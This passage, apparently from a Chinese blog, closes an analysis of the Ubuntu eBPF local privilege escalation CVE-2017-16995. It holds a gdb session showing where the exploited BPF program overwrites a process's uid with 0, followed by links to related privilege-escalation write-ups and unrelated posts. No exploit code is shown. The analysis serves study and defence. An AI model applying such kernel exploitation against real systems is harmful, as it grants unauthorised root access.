insn=0xffffc900005b5168) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/core.c:856
856 LDST(DW, u64)
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$41 = {val = 0} //此时uid已经变为0
(gdb) x/10i $rip-12
0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270]
0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax //就是这里改变了uid的值
=> 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>
0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1]
0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2]
0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8
0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4]
0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf
0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270]
0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx
(gdb) x/1l ($rcx+$rdx*1) //$rcx+$rdx*1的值0xffff880075b7ca84即为uid的地址
0xffff880075b7ca84: Undefined output format "l".
(gdb) p &((struct task_struct*)0xffff880079afe900)->cred->uid
$43 = (kuid_t *) 0xffff880075b7ca84
(gdb) i r $rax //此时rax为我们需要些到uid地址的值0
rax 0x0 0
(gdb)
提权成功：
到此整个漏洞利用完成，后面的部分写的有点仓促了，如果有错误的地方，还请各位朋友不吝赐教。
【原创】深入分析Ubuntu本地提权漏洞CVE-2017-16995的更多相关文章
- 新版本Ubuntu本地提权漏洞复现
该漏洞在老版本中被修复了,但新的版本还存在漏洞 影响范围:Linux Kernel Version 4.14-4.4,Ubuntu/Debian发行版本 Exp下载地址:http://cyseclab ...
- CVE-2016-1240 Tomcat 服务本地提权漏洞
catalogue . 漏洞背景 . 影响范围 . 漏洞原理 . 漏洞PoC . 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容 ...
- Linux Kernel ‘perf’ Utility 本地提权漏洞
漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...
- Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞
漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...
- 基于RedHat发行的Apache Tomcat本地提权漏洞
描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...
- 新Windows本地提权漏洞学习(CVE-2019-0841)
1.这是一个啥漏洞? 睁眼一看,妈呀本地提权,快加入本地提权漏洞利用包里,速度加入.github连接我就不发了.担心被认为是传播黑客工具,咱们在这里单纯学习一下漏洞的原理和部分源代码. 2.文件读写权 ...
- CVE-2017-16995 Ubuntu16.04本地提权漏洞复现
0x01 前言 该漏洞由Google project zero发现.据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意 ...
- Ubuntu16.04 本地提权漏洞复测过程
一.漏洞概述 Ubuntu 16.04 版本且unprivileged_bpf_disable 权限没有关闭的情况下就会存在 提权漏洞查看方式:1,cat /proc/version 查看系统版本 2 ...
- Ubuntu本地提权适配不同小版本内核（CVE-2017-16995）
朋友在执行的时候说有的会出现提权不成功,内核crash掉的现象.因为cred结构体的偏移量可能因为内核版本不同.内核编译选项不同而出现差异,作者给的exp偏移量是写死的,所以exp里面对应的偏移地址也 ...
随机推荐
- linux~大文件相关操作的总结
1.生成指定大小的文件 在当前目录下生成一个50M的文件: dd if=/dev/zero of=50M.file bs=1M count=50 truncate -s 2G ~/big.log.t ...
- buu 红帽杯 XX
一.拖入ida,静态分析 __int64 __fastcall sub_7FF65D4511A0(__int64 a1, __int64 a2) { signed __int64 v2; // rbx ...
- STM32笔记一
1.脉冲宽度调制是(PWM):用微处理器的数字输出来对模拟电路进行控制的一种非常有效的技术,广泛应用在从测量.通信到功率控制与变换的许多领域中.一般用于直流电机调速. 2.外部中断:外部中断是单片机实 ...
- 谷粒商城--分布式基础篇（P1~P27）
谷粒商城--分布式基础篇P1~P27 去年3月份谷粒商城分布式基础.进阶.高级刚出的时候就开始学了,但是中途因为一些事就中断了,结果一直到现在才有时间重新开始学,看到现在网上这么多人都学完了,确实感觉 ...
- 学习 CLR 源码：连续内存块数据操作的性能优化
目录 C# 原语类型 1,利用 Buffer 优化数组性能 2,BinaryPrimitives 细粒度操作字节数组 提高代码安全性 3,BitConverter.MemoryMarshal 4,Ma ...
- 在SublimeText3中搭建Verilog开发环境记录（一）
------------恢复内容开始------------ ------------恢复内容开始------------ ## 前言 *工欲善其事,必先利其器* 一款好用的撸码软件,能够大大的提高工 ...
- 【系统配置】Ubuntu和Windons系统安装配置深度学习环境
Ubuntu系统 1.备份 在服务器上整个装系统之前,需要做好一个工作,也就是相关重要数据的备份,这里主要是将固态中的数据备份到机械硬盘或移动硬盘里,可能在备份的过程中会遇到无法写入的问题,是因为文件 ...
- 微信小程序云开发-列表下拉刷新
一.json文件开启页面刷新 开启页面刷新.在页面的json文件里配置两处: "enablePullDownRefresh": true, //true代表开启页面下拉刷新 &qu ...
- CSP-S 2020
游记 Day# 游记个鬼啊就在自家学校=-= 早上宿舍待不了,去机房颓废,看了几集猫和老鼠,并且把看门狗军团的流程看完了(真棒),甚至在考试之前把老师给的巧克力也吃完了. 期间zyt学长来摸鱼.他们今 ...
- 【贪心+排序】排队接水 luogu-1223
题目描述 有n个人在一个水龙头前排队接水,假如每个人接水的时间为Ti,请编程找出这n个人排队的一种顺序,使得n个人的平均等待时间最小. 分析 注意要开longlong AC代码 #include &l ...